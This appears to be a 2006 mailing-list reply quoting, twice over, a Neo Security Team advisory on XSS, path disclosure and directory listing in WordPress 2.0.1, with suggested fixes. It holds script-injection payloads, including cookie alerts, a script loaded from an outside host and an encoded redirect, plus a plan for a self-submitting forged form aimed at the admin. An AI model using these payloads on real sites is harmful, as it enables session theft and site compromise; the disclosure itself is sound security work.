Javor Ninov
02/03/06, 02:01
This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enig402165911890719F9179F883
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
wp-content/ is also prone to directory listing
Javor Ninov aka DrFrancky
k4p0k4p0@hotmail.com wrote:
> /*
> ---------------------------------------------------------------
> [N]eo [S]ecurity [T]eam [NST]=AE WordPress 2.0.1 Multiple Vulnerabiliti=
es
> ---------------------------------------------------------------
> Program : WordPress 2.0
> Homepage: http://www.wordpress.org
> Vulnerable Versions: WordPress 2.0.1 & lower ones
> Risk: Critical!
> Impact: XSS, Full Path Disclosure, Directory Listing
>=20
> -> WordPress 2.0.1 Multiple Vulnerabilities <-
> ---------------------------------------------------------------
>=20
> - Description
> ---------------------------------------------------------------
> WordPress is a state-of-the-art semantic personal publishing=20
> platform with a focus on aesthetics, web standards, and usability.=20
> What a mouthful. WordPress is both free and priceless at the same time.=
>=20
> - Tested
> ---------------------------------------------------------------
> Tested in localhost & many blogs
>=20
> - Bug
> ---------------------------------------------------------------
> The vendor was contacted about some other coding errors that are not=20
> described here, the vendor was noticed about these bugs when this=20
> advisory was published.
>=20
> <+ Multiple XSS +>
> There're multiple XSS in `post comment':
>=20
> [1] `name' variable is not filtered when it's assigned to `value'
> on the `<input>' in the form when the comment it's posted.
> [2] Happends the same as [1] with `website' variable.
> [3] `comment', this variable only filtered " and ' chars, this makes=20
> possible to use < and >, thus this permit an attacker to inject=20
> any HTML (or script) code that he/she want but without any " or '=20
> character, this only happends if the user that post the comment it'=
s=20
> the admin (any registered kind of `user').=20
>=20
> If you (or victim) is a unregistered user, you can use " and ' in your =
> HTML/script Injection using `name' or `website' variables, but if the=20
> victim is the admin or a registered user these 2 fields described above=
=20
> aren't availabe in the form so you cannot even give a value to them.
> The only remaining option it's to use the `comment' variable but here=20
> we have the problem that we cannot use " or ' in HTML/SCRIPT Injected a=
nd=20
> we have to make the admin to post the comment (POST method).
>=20
> <+ Full path disclosure & Directory listing +>
> When I discovered this bug, I reported it to some pepople before=20
> public disclosure, I was noticed that this isn't new and I=20
> decided to look why they haven't patch this bug.=20
>=20
> As this bug it isn't patched yet, I tryed to know why and I found=20
> something like this in their forum (I don't know if the person=20
> that posted this was the admin but it gives the explanation):
> (Something like the following, it's not textual).
> `... these bugs are caused by badly configured .ini file, it's not=20
> a bug generated by the script so it cannot be accepted as a bug of=20
> WordPress...'. This is not an acceptable answer, if you think it is,=20
> a bug caused because of register_globals is Off it's .ini fault and not=
=20
> the script, they have to be kidding, if they want to make good software=
,=20
> they have to make as far as the language can, to prevent all bugs.
>=20
> There're multiple files that don't check if they are been call=20
> directly. This is a problem because they expect that functions=20
> that the script is going to be called to be declared.
> This kind of bug it's taken as a Low Risk bug, but it can help=20
> to future attacks.
>=20
> - Exploit
> ---------------------------------------------------------------
> -- Cross Site Scripting (XSS)
> PoC:
> [1] Post a comment with the following values (as unregistered user):
> (No possible profit)
>=20
> Name : "><script>alert("WordPress PoC from");</script>
> Mail : neosecurityteam@nst.net
> Website: "><script>alert("[N]eo[S]ecurity[T]eam www.neosecurityteam.net=
");</script>
> Comment: www.neosecurityteam.net/foro/
>=20
> The injected HTML code only affects the user that posted it, not others=
=2E
>=20
> [2] This way it's more intresting and useful.=20
> In this case the HTML Injected will stay in the board affecting each pe=
rson=20
> who see it.=20
> But we have two problems:
> [I ]- This comment must be posted by the admin
> [II]- We only can use the `comment' field, because the admin form to ma=
ke=20
> the comment doesn't need the `name' or `website'.
> Also the injected code cannot have any " or ' chars.
>=20
> Here are my solutions:
> [I ]- We cannot give to the admin a `malicius' URL to steal the cookie
> because it isn't via GET, it's via POST. So the solution it's to =
> make a copy form of the real one and set the default values to=20
> the corresonding field (`comment') to make the stealing.
> Also make the form submit itself when the page loads. Thus, we gi=
ve=20
> the admin the URL of this form and he/she will post the comment=20
> with the values we set before. :)
> [II]- We can only use this field to make the injection, the `big' probl=
em=20
> its that we cannot use " or ' chars wich means that something lik=
e=20
> window.location =3D "http://www.google.com.uy"; won't work.
> =20
> Here are some real examples:
>=20
> - <script>alert(document.cookie)</script>
> - <script>alert(String.fromCharCode(80,111,67,32,111,102,32, 87,111,114,=
> 100,80,114,101,115,115,32,98,121,32,75,52,80,48,32 ,102,114,111,109,32=
,
> 78,83,84))</script>
> - <script src=3Dhttp://www.neosecurityteam.net></script>
> - <script>document.location =3D String.fromCharCode(104,116,116,112,58,=
47,
> 47,119,119,119,46,110,101,111,115,101,99,117,114,1 05,116,121,116,101,=
> 97,109,46,110,101,116)</script>
>=20
> As you can see this bug it's exploitable, it's only knowing a bit=20
> deeper how to do XSS under some conditions. There're more=20
> possibilities than described above, investigate yourself.=20
>=20
> -- Full path disclosure & Directory Listing
> Directory Listing: www.victim.com/wordpress/wp-includes/
>=20
> Full path disclosure:
> www.victim.com/wordpress/wp-includes/default-filters.php
> www.victim.com/wordpress/wp-includes/template-loader.php
> www.victim.com/wordpress/wp-admin/edit-form-advanced.php
> www.victim.com/wordpress/wp-admin/edit-form-comment.php
> www.victim.com/wordpress/wp-includes/rss-functions.php
> www.victim.com/wordpress/wp-admin/admin-functions.php
> www.victim.com/wordpress/wp-admin/edit-link-form.php
> www.victim.com/wordpress/wp-admin/edit-page-form.php
> www.victim.com/wordpress/wp-admin/admin-footer.php
> www.victim.com/wordpress/wp-admin/menu-header.php
> www.victim.com/wordpress/wp-includes/locale.php
> www.victim.com/wordpress/wp-admin/edit-form.php
> www.victim.com/wordpress/wp-includes/wp-db.php
> www.victim.com/wordpress/wp-includes/kses.php
> www.victim.com/wordpress/wp-includes/vars.php
> www.victim.com/wordpress/wp-admin/menu.php
> www.victim.com/wordpress/wp-settings.php
>=20
> - Solutions
> ---------------------------------------------------------------
> <+ Cross Site Scripting (XSS) +>
> Change lines ~21 of 'wp-comments-post.php' to:
> $comment_author =3D htmlentities(trim($_POST['author']));
> $comment_author_email =3D htmlentities(trim($_POST['email']));
> $comment_author_url =3D htmlentities(trim($_POST['url']));
> $comment_content =3D htmlentities(trim($_POST['comment']));
>=20
> <+ Full Path Disclosure & Directory Listing +>
> In the first line of each vulnerable file you should write:
> if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))
> die('You are not allowed to see this page directly');
>=20
> - References
> ---------------------------------------------------------------
> http://NeoSecurityTeam.net/advisories/Advisory-17.txt
>=20
> - Credits
> --------------------------------------------------------------
> Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com
>=20
> [N]eo [S]ecurity [T]eam [NST]=AE - http://NeoSecurityTeam.net/
>=20
> Irc.InfoGroup.cl #neosecurityteam
> Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/
>=20
> - Greets
> ---------------------------------------------------------------
> Paisterist=20
> HaCkZaTaN=20
> Link=20
> Daemon21=20
> erg0t=20
> NST Comunity!
>=20
> @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
> '@@@@@''@@'@@@''''''''@@''@@@''@@
> '@@'@@@@@@''@@@@@@@@@'''''@@@
> '@@'''@@@@'''''''''@@@''''@@@
> @@@@''''@@'@@@@@@@@@@''''@@@@@
> */
--------------enig402165911890719F9179F883
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
iD8DBQFEBcKmck4kcwaj+YIRArPsAJ4hi9CDA2qyKOrLflZkOr jDSrZygACfeAWp
751YrNNmKPsrwup3n4L6pfo=
=jJYN
-----END PGP SIGNATURE-----
--------------enig402165911890719F9179F883--
--------------enig402165911890719F9179F883
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
wp-content/ is also prone to directory listing
Javor Ninov aka DrFrancky
k4p0k4p0@hotmail.com wrote:
> /*
> ---------------------------------------------------------------
> [N]eo [S]ecurity [T]eam [NST]=AE WordPress 2.0.1 Multiple Vulnerabiliti=
es
> ---------------------------------------------------------------
> Program : WordPress 2.0
> Homepage: http://www.wordpress.org
> Vulnerable Versions: WordPress 2.0.1 & lower ones
> Risk: Critical!
> Impact: XSS, Full Path Disclosure, Directory Listing
>=20
> -> WordPress 2.0.1 Multiple Vulnerabilities <-
> ---------------------------------------------------------------
>=20
> - Description
> ---------------------------------------------------------------
> WordPress is a state-of-the-art semantic personal publishing=20
> platform with a focus on aesthetics, web standards, and usability.=20
> What a mouthful. WordPress is both free and priceless at the same time.=
>=20
> - Tested
> ---------------------------------------------------------------
> Tested in localhost & many blogs
>=20
> - Bug
> ---------------------------------------------------------------
> The vendor was contacted about some other coding errors that are not=20
> described here, the vendor was noticed about these bugs when this=20
> advisory was published.
>=20
> <+ Multiple XSS +>
> There're multiple XSS in `post comment':
>=20
> [1] `name' variable is not filtered when it's assigned to `value'
> on the `<input>' in the form when the comment it's posted.
> [2] Happends the same as [1] with `website' variable.
> [3] `comment', this variable only filtered " and ' chars, this makes=20
> possible to use < and >, thus this permit an attacker to inject=20
> any HTML (or script) code that he/she want but without any " or '=20
> character, this only happends if the user that post the comment it'=
s=20
> the admin (any registered kind of `user').=20
>=20
> If you (or victim) is a unregistered user, you can use " and ' in your =
> HTML/script Injection using `name' or `website' variables, but if the=20
> victim is the admin or a registered user these 2 fields described above=
=20
> aren't availabe in the form so you cannot even give a value to them.
> The only remaining option it's to use the `comment' variable but here=20
> we have the problem that we cannot use " or ' in HTML/SCRIPT Injected a=
nd=20
> we have to make the admin to post the comment (POST method).
>=20
> <+ Full path disclosure & Directory listing +>
> When I discovered this bug, I reported it to some pepople before=20
> public disclosure, I was noticed that this isn't new and I=20
> decided to look why they haven't patch this bug.=20
>=20
> As this bug it isn't patched yet, I tryed to know why and I found=20
> something like this in their forum (I don't know if the person=20
> that posted this was the admin but it gives the explanation):
> (Something like the following, it's not textual).
> `... these bugs are caused by badly configured .ini file, it's not=20
> a bug generated by the script so it cannot be accepted as a bug of=20
> WordPress...'. This is not an acceptable answer, if you think it is,=20
> a bug caused because of register_globals is Off it's .ini fault and not=
=20
> the script, they have to be kidding, if they want to make good software=
,=20
> they have to make as far as the language can, to prevent all bugs.
>=20
> There're multiple files that don't check if they are been call=20
> directly. This is a problem because they expect that functions=20
> that the script is going to be called to be declared.
> This kind of bug it's taken as a Low Risk bug, but it can help=20
> to future attacks.
>=20
> - Exploit
> ---------------------------------------------------------------
> -- Cross Site Scripting (XSS)
> PoC:
> [1] Post a comment with the following values (as unregistered user):
> (No possible profit)
>=20
> Name : "><script>alert("WordPress PoC from");</script>
> Mail : neosecurityteam@nst.net
> Website: "><script>alert("[N]eo[S]ecurity[T]eam www.neosecurityteam.net=
");</script>
> Comment: www.neosecurityteam.net/foro/
>=20
> The injected HTML code only affects the user that posted it, not others=
=2E
>=20
> [2] This way it's more intresting and useful.=20
> In this case the HTML Injected will stay in the board affecting each pe=
rson=20
> who see it.=20
> But we have two problems:
> [I ]- This comment must be posted by the admin
> [II]- We only can use the `comment' field, because the admin form to ma=
ke=20
> the comment doesn't need the `name' or `website'.
> Also the injected code cannot have any " or ' chars.
>=20
> Here are my solutions:
> [I ]- We cannot give to the admin a `malicius' URL to steal the cookie
> because it isn't via GET, it's via POST. So the solution it's to =
> make a copy form of the real one and set the default values to=20
> the corresonding field (`comment') to make the stealing.
> Also make the form submit itself when the page loads. Thus, we gi=
ve=20
> the admin the URL of this form and he/she will post the comment=20
> with the values we set before. :)
> [II]- We can only use this field to make the injection, the `big' probl=
em=20
> its that we cannot use " or ' chars wich means that something lik=
e=20
> window.location =3D "http://www.google.com.uy"; won't work.
> =20
> Here are some real examples:
>=20
> - <script>alert(document.cookie)</script>
> - <script>alert(String.fromCharCode(80,111,67,32,111,102,32, 87,111,114,=
> 100,80,114,101,115,115,32,98,121,32,75,52,80,48,32 ,102,114,111,109,32=
,
> 78,83,84))</script>
> - <script src=3Dhttp://www.neosecurityteam.net></script>
> - <script>document.location =3D String.fromCharCode(104,116,116,112,58,=
47,
> 47,119,119,119,46,110,101,111,115,101,99,117,114,1 05,116,121,116,101,=
> 97,109,46,110,101,116)</script>
>=20
> As you can see this bug it's exploitable, it's only knowing a bit=20
> deeper how to do XSS under some conditions. There're more=20
> possibilities than described above, investigate yourself.=20
>=20
> -- Full path disclosure & Directory Listing
> Directory Listing: www.victim.com/wordpress/wp-includes/
>=20
> Full path disclosure:
> www.victim.com/wordpress/wp-includes/default-filters.php
> www.victim.com/wordpress/wp-includes/template-loader.php
> www.victim.com/wordpress/wp-admin/edit-form-advanced.php
> www.victim.com/wordpress/wp-admin/edit-form-comment.php
> www.victim.com/wordpress/wp-includes/rss-functions.php
> www.victim.com/wordpress/wp-admin/admin-functions.php
> www.victim.com/wordpress/wp-admin/edit-link-form.php
> www.victim.com/wordpress/wp-admin/edit-page-form.php
> www.victim.com/wordpress/wp-admin/admin-footer.php
> www.victim.com/wordpress/wp-admin/menu-header.php
> www.victim.com/wordpress/wp-includes/locale.php
> www.victim.com/wordpress/wp-admin/edit-form.php
> www.victim.com/wordpress/wp-includes/wp-db.php
> www.victim.com/wordpress/wp-includes/kses.php
> www.victim.com/wordpress/wp-includes/vars.php
> www.victim.com/wordpress/wp-admin/menu.php
> www.victim.com/wordpress/wp-settings.php
>=20
> - Solutions
> ---------------------------------------------------------------
> <+ Cross Site Scripting (XSS) +>
> Change lines ~21 of 'wp-comments-post.php' to:
> $comment_author =3D htmlentities(trim($_POST['author']));
> $comment_author_email =3D htmlentities(trim($_POST['email']));
> $comment_author_url =3D htmlentities(trim($_POST['url']));
> $comment_content =3D htmlentities(trim($_POST['comment']));
>=20
> <+ Full Path Disclosure & Directory Listing +>
> In the first line of each vulnerable file you should write:
> if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))
> die('You are not allowed to see this page directly');
>=20
> - References
> ---------------------------------------------------------------
> http://NeoSecurityTeam.net/advisories/Advisory-17.txt
>=20
> - Credits
> --------------------------------------------------------------
> Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com
>=20
> [N]eo [S]ecurity [T]eam [NST]=AE - http://NeoSecurityTeam.net/
>=20
> Irc.InfoGroup.cl #neosecurityteam
> Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/
>=20
> - Greets
> ---------------------------------------------------------------
> Paisterist=20
> HaCkZaTaN=20
> Link=20
> Daemon21=20
> erg0t=20
> NST Comunity!
>=20
> @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
> '@@@@@''@@'@@@''''''''@@''@@@''@@
> '@@'@@@@@@''@@@@@@@@@'''''@@@
> '@@'''@@@@'''''''''@@@''''@@@
> @@@@''''@@'@@@@@@@@@@''''@@@@@
> */
--------------enig402165911890719F9179F883
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
iD8DBQFEBcKmck4kcwaj+YIRArPsAJ4hi9CDA2qyKOrLflZkOr jDSrZygACfeAWp
751YrNNmKPsrwup3n4L6pfo=
=jJYN
-----END PGP SIGNATURE-----
--------------enig402165911890719F9179F883--